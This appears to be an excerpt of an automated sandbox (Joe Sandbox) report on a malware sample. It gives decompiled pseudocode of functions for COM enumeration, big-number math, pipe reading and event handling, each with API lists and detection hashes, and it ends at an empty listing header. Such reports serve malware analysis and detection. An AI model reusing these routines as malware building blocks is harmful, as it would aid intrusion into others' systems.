				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x79a348; // 0x258d5a8
					_t5 = _t103 + 0x79b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x799284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x79a348; // 0x258d5a8
												_t28 = _t109 + 0x79b0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x79a348; // 0x258d5a8
														_t33 = _t79 + 0x79b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}

0x00796ce4
0x00796ced
0x00796cee
0x00796cf2
0x00796cf8
0x00796cfe
0x00796d07
0x00796d0d
0x00796d17
0x00796d19
0x00796d1f
0x00796d24
0x00796d2f
0x00796d35
0x00796d3a
0x00796e5c
0x00796d40
0x00796d40
0x00796d4d
0x00796d53
0x00796d59
0x00796d5d
0x00796d63
0x00796d70
0x00796d74
0x00796d7a
0x00796d7d
0x00796d85
0x00796d86
0x00796d8a
0x00796d8e
0x00796d91
0x00796d94
0x00796d9a
0x00796da3
0x00796da9
0x00796daa
0x00796dad
0x00796dae
0x00796daf
0x00796db7
0x00796db8
0x00796db9
0x00796dbb
0x00796dbf
0x00796dc3
0x00000000
0x00000000
0x00796dc9
0x00796dd2
0x00796dd8
0x00796de2
0x00796de6
0x00796de8
0x00796df5
0x00796df9
0x00796e01
0x00796e06
0x00796e18
0x00796e1a
0x00796e20
0x00796e20
0x00796e29
0x00796e29
0x00796e2b
0x00796e31
0x00796e31
0x00796e34
0x00796e3a
0x00796e3d
0x00796e46
0x00000000
0x00000000
0x00000000
0x00796e46
0x00796d9a
0x00796d94
0x00796d7d
0x00796e4c
0x00796e4c
0x00796e52
0x00796e52
0x00796e58
0x00796e58
0x00796e61
0x00796e67
0x00796e67
0x00796d24
0x00796e70

APIs

SysAllocString.OLEAUT32(00799284), ref: 00796D2F
lstrcmpW.KERNEL32(00000000,0076006F), ref: 00796E10
SysFreeString.OLEAUT32(00000000), ref: 00796E29
SysFreeString.OLEAUT32(?), ref: 00796E58

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 3ac61631f0dbf5ba0c57e2240b2f0c0763fabe1dfbedc78bb147b9835aa3cbff
Instruction ID: 012214da08f503d2bd615b38d2df21889fdadc5fc2966b8dd87d158c655ce691
Opcode Fuzzy Hash: 3ac61631f0dbf5ba0c57e2240b2f0c0763fabe1dfbedc78bb147b9835aa3cbff
Instruction Fuzzy Hash: 69514E75D00509EFCF01DFA8D988DAEB7B6FF88704B148699E915EB210D7359D42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0079597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 007959B8
SysFreeString.OLEAUT32(00000000), ref: 00795A9D

Part of subcall function 00796CDF: SysAllocString.OLEAUT32(00799284), ref: 00796D2F

SafeArrayDestroy.OLEAUT32(00000000), ref: 00795AF0
SysFreeString.OLEAUT32(00000000), ref: 00795AFF

Part of subcall function 007977E3: Sleep.KERNEL32(000001F4), ref: 0079782B

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: String$AllocFree$ArrayDestroySafeSleep
String ID:
API String ID: 3193056040-0
Opcode ID: 25f2944577f79c1a78465131fd681625e604886e818a33a68a16aa167af0f55a
Instruction ID: be8c5d6fa961cf0045162fb7714fff5d2635cd129424cef3b693788fe4064e85
Opcode Fuzzy Hash: 25f2944577f79c1a78465131fd681625e604886e818a33a68a16aa167af0f55a
Instruction Fuzzy Hash: B6515F35500A09EFDF02DFA8D888A9EB7B6FF88740F148529E515DB220DB79ED06CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00794781 Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00794781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E007961EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E00796725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E00797477(_t101,  &_v428, _a8, _t96 - _t81);
					E00797477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E00796725(_t101, 0x79a1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E00796725(_a16, _a4);
						E00797894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L007982DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L007982D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E00795F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E00796E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E007910A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x79a1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x00794784
0x00794790
0x00794796
0x0079479b
0x0079479f
0x00794911
0x00794915
0x00794915
0x007947a5
0x007947a9
0x007947ad
0x007947b0
0x007947bb
0x007947c1
0x007947c6
0x007947c9
0x007947e3
0x007947f2
0x007947fe
0x00794808
0x0079480d
0x0079480f
0x00794812
0x007948c9
0x007948cf
0x007948e0
0x007948f3
0x00794909
0x00000000
0x0079490e
0x0079481b
0x00794822
0x00794826
0x0079482c
0x0079482e
0x00794830
0x00794832
0x00794834
0x0079483e
0x00794843
0x00794845
0x00794847
0x00794848
0x00794849
0x0079484a
0x00794851
0x00794858
0x0079485b
0x0079485b
0x00794828
0x00794828
0x00794828
0x00794863
0x0079486b
0x00794877
0x0079487c
0x0079487c
0x00794881
0x00000000
0x00000000
0x00794883
0x00794886
0x00794893
0x00000000
0x00000000
0x00794895
0x00794895
0x007948a2
0x0079487c
0x00794881
0x00000000
0x00000000
0x00000000
0x00794881
0x007948ac
0x007948af
0x007948b2
0x007948b9
0x007948b9
0x007948c6
0x00000000
0x007948c6
0x007947b2
0x007947b6
0x007947b7
0x007947b9
0x00000000
0x00000000
0x00000000
0x007947b9
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 00794834
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 0079484A
memset.NTDLL ref: 007948F3
memset.NTDLL ref: 00794909

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 3373b769985a2d828f6fab8db3877705f44b2d5b340781e88a17b2beb98b1656
Instruction ID: 3c2936900809689a7187e356ff6d575015ac8aa523241c96f7036f83fa6f4526
Opcode Fuzzy Hash: 3373b769985a2d828f6fab8db3877705f44b2d5b340781e88a17b2beb98b1656
Instruction Fuzzy Hash: D941C131A00219AFDF109FA8EC49FEE7775EF45310F004569F909A7281EB78AE55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0079454F Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0079454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x79a160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x79a174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E007933DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x79a160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E007961DA(_v16);
							if(_t58 == 0) {
								_t58 = E00792B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E007916B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E007916B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x0079454f
0x0079455e
0x00794563
0x00794565
0x0079456a
0x0079456b
0x00794570
0x00794571
0x0079457c
0x007945ad
0x007945b2
0x00794675
0x00794678
0x0079467e
0x0079467e
0x007945bf
0x007945c7
0x00794672
0x00000000
0x00794672
0x007945d2
0x007945d7
0x007945dc
0x00794664
0x00794665
0x00794665
0x0079466b
0x00000000
0x0079466b
0x007945e2
0x007945e4
0x007945ea
0x007945eb
0x007945eb
0x007945ee
0x007945f1
0x007945f7
0x007945fc
0x007945fd
0x00794602
0x00794605
0x00794610
0x00000000
0x00000000
0x00794618
0x00794620
0x00794649
0x0079464c
0x00794653
0x0079465e
0x0079465e
0x00000000
0x00794653
0x0079462c
0x00794630
0x00000000
0x00000000
0x00794632
0x00794637
0x00000000
0x00000000
0x00794639
0x00794639
0x0079463e
0x00000000
0x00000000
0x00794640
0x00794641
0x00794644
0x00794644
0x007945eb
0x00794584
0x0079458c
0x007945a5
0x007945a7
0x00000000
0x00000000
0x00000000
0x007945a7
0x00794598
0x0079459c
0x00000000
0x00000000
0x007945a2
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 00794565
GetLastError.KERNEL32 ref: 0079457E

Part of subcall function 007916B2: WaitForMultipleObjects.KERNEL32(00000002,00797C47,00000000,00797C47,?,?,?,00797C47,0000EA60), ref: 007916CD

ResetEvent.KERNEL32(?), ref: 007945F7
GetLastError.KERNEL32 ref: 00794612

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 60c123a88446f9c138c6cf14a55757e796ff1a694ec09811701d7b691a95542f
Instruction ID: dd86ea7743cea59153c983db568cd735e83377405751f30d6384451c54459c84
Opcode Fuzzy Hash: 60c123a88446f9c138c6cf14a55757e796ff1a694ec09811701d7b691a95542f
Instruction Fuzzy Hash: B231D372640604FFDF21DBA5EC44E6E77B9BF85350F214529E511D72A0EB34ED468B10

Uniqueness

Uniqueness Score: -1.00%

Function 007949D0 Relevance: 6.1, APIs: 4, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E007949D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x79a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x79a348; // 0x258d5a8
				_t3 = _t8 + 0x79b7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E007974EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x79a34c, 1, 0, _t30);
					E007961DA(_t30);
				}
				_t12 =  *0x79a2fc; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E007930D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E007937DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x79a124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E007923C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x007949d1
0x007949d8
0x007949e2
0x007949e6
0x007949ec
0x007949fb
0x00794a02
0x00794a06
0x00794a18
0x00794a1a
0x00794a1a
0x00794a1f
0x00794a26
0x00794a7d
0x00794a7d
0x00794a83
0x00794a85
0x00794a85
0x00794a8f
0x00794a93
0x00794aa5
0x00794aa5
0x00794aa9
0x00794aaf
0x00794aaf
0x00000000
0x00794a3f
0x00794a44
0x00794a4c
0x00794a50
0x00794a54
0x00794a54
0x00794a61
0x00794a65
0x00794a69
0x00794abe
0x00794ac4
0x00794ac4
0x00794a77
0x00794a7b
0x00794ab2
0x00794ab4
0x00794ab7
0x00794ab7
0x00000000
0x00794ab4
0x00794a7b
0x00000000
0x00794a65

APIs

Part of subcall function 007974EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,02D29E18,00000000,?,?,43175AC3,00000005,0079A00C,4D283A53,?,?), ref: 00797522
Part of subcall function 007974EC: lstrcpy.KERNEL32(00000000,00000000), ref: 00797546
Part of subcall function 007974EC: lstrcat.KERNEL32(00000000,00000000), ref: 0079754E

CreateEventA.KERNEL32(0079A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,00796A95,?,?,?), ref: 00794A11

Part of subcall function 007961DA: RtlFreeHeap.NTDLL(00000000,00000000,00796383,00000000,?,00000000,00000000), ref: 007961E6

WaitForSingleObject.KERNEL32(00000000,00004E20,00796A95,00000000,00000000,?,00000000,?,00796A95,?,?,?), ref: 00794A71
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,00796A95,?,?,?), ref: 00794A9F
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,00796A95,?,?,?), ref: 00794AB7

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 89f2b1822d4c8233fab47240d1b53a129b3fb56abb32bada9df4d3d46a175e0d
Instruction ID: ce84ca62e012752fd8c6be8f81d136175677e0d4563b276768d882a2450dcd16
Opcode Fuzzy Hash: 89f2b1822d4c8233fab47240d1b53a129b3fb56abb32bada9df4d3d46a175e0d
Instruction Fuzzy Hash: 1621B632691311ABDF319B68BC48E6B73E9FB88714B05861AFE5597251DB2CCC038798

Uniqueness

Uniqueness Score: -1.00%

Function 007969E6 Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E007969E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E00792A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E007928B3(_t23);
						}
					}
					return _t38;
				}
				if(E00796ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x79a34c, 1, 0,  *0x79a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E00795704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E00794C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E00797220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E007949D0( &_v32, _t39);
					goto L13;
				}
			}

0x007969e6
0x007969f3
0x007969f9
0x007969fa
0x007969fb
0x007969fc
0x007969fd
0x00796a01
0x00796a0d
0x00796a11
0x00796a99
0x00796a99
0x00796a9c
0x00796a9e
0x00796aa6
0x00796aac
0x00796aaf
0x00796aaf
0x00796aac
0x00796aba
0x00796aba
0x00796a24
0x00796a26
0x00796a26
0x00796a3d
0x00796a41
0x00796a44
0x00796a4f
0x00796a56
0x00796a56
0x00796a5f
0x00796a63
0x00796a71
0x00796a65
0x00796a65
0x00796a66
0x00796a67
0x00796a68
0x00796a69
0x00796a6a
0x00796a6a
0x00796a76
0x00796a79
0x00796a7d
0x00796a7f
0x00796a7f
0x00796a86
0x00000000
0x00796a88
0x00796a88
0x00796a95
0x00000000
0x00796a95

APIs

CreateEventA.KERNEL32(0079A34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 00796A37
SetEvent.KERNEL32(00000000), ref: 00796A44
Sleep.KERNEL32(00000BB8), ref: 00796A4F
CloseHandle.KERNEL32(00000000), ref: 00796A56

Part of subcall function 00795704: WaitForSingleObject.KERNEL32(00000000,?,?,?,?,00000000,vjy,?,?,?,?,?,00796A76,?), ref: 007957DE

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 45c0a36fef6fbab8e32ee1f34ec7ee206ca66c81021dae7784c32305c27fed72
Instruction ID: eb6da061ec5d33eead42fa532540f8bd72dee5436fbaf3e3d2c23d7a13ca5234
Opcode Fuzzy Hash: 45c0a36fef6fbab8e32ee1f34ec7ee206ca66c81021dae7784c32305c27fed72
Instruction Fuzzy Hash: 48216572D00119EBDF20BFF9A8858EE77B9EB04310B05C52AFA11B7100D73D9D4687A0

Uniqueness

Uniqueness Score: -1.00%

Function 00794461 Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00794461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E007933DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x0079446d
0x00794471
0x00794472
0x00794473
0x00794475
0x00794477
0x0079447a
0x0079447f
0x00794516
0x0079451d
0x0079451d
0x00794488
0x0079448f
0x0079449f
0x0079449f
0x007944a5
0x007944a7
0x007944ac
0x007944b5
0x007944bb
0x007944c0
0x007944cb
0x007944cf
0x007944d1
0x007944d2
0x007944db
0x007944df
0x007944f0
0x007944e1
0x007944e6
0x007944eb
0x007944fa
0x007944fa
0x007944cf
0x00794500
0x00794506
0x00794506
0x0079450f
0x00794514
0x00794514
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 0079448F
lstrlenW.KERNEL32(?), ref: 007944C5
memcpy.NTDLL(00000000,?,?,?), ref: 007944E6
SysFreeString.OLEAUT32(?), ref: 007944FA

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: f4d63547712b7f8d3565db306970dcfc4d76857c53017851cdfbbf786b266311
Instruction ID: baf330df6a26b42db3e069ba2df5c1bfd35684d6b21881fa62b6a997254dfe7c
Opcode Fuzzy Hash: f4d63547712b7f8d3565db306970dcfc4d76857c53017851cdfbbf786b266311
Instruction Fuzzy Hash: 3021217590020AEFDF11DFE8E988D9EBBB4FF48314B1181A9E915D7210EB74DA52CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00792708 Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

